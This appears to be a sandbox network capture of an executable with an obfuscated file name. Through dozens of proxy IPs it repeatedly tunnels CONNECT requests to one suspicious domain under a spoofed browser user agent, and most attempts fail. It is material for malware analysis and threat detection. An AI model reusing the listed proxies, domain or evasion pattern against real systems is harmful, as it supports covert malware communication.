Mar 11, 2024 16:42:21.288609982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.11	51646	47.242.15.120	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.136380911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.11	51862	162.159.242.8	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.136434078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.297399044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.11	51865	162.159.247.57	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.136615992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.297658920 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.11	51883	104.19.5.247	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.137917042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.292378902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.11	51663	147.75.34.86	10007	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.145771980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.449547052 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.11	51693	51.15.139.59	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.148691893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.797897100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.751722097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603475094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.236145020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938791990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.533063889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.657231092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.969707966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.11	51909	172.67.181.32	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.153234959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.307461977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.11	51915	185.162.228.154	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.155356884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.309374094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.11	51627	186.124.164.213	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.157835960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.11	51678	37.187.77.58	29380	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.157983065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.829144001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.751936913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603604078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.345043898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.141949892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.11	51683	213.202.230.241	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.159260035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.508538961 CET	783	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 15:42:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 601 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p><p>Additionally, a 502 Bad Gatewayerror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.11	51797	194.4.50.62	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.159353018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.11	52079	43.157.47.7	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.163671017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.11	51635	212.31.100.138	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.165011883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.11	52080	43.157.47.7	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.165275097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.11	51066	85.214.107.177	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.166296959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.188950062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.189418077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.189086914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.188733101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.282340050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.282305956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.282145023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:21.282056093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.11	52083	43.157.47.7	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.167944908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.11	51638	103.169.149.254	1111	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.168817043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.938607931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.005316973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
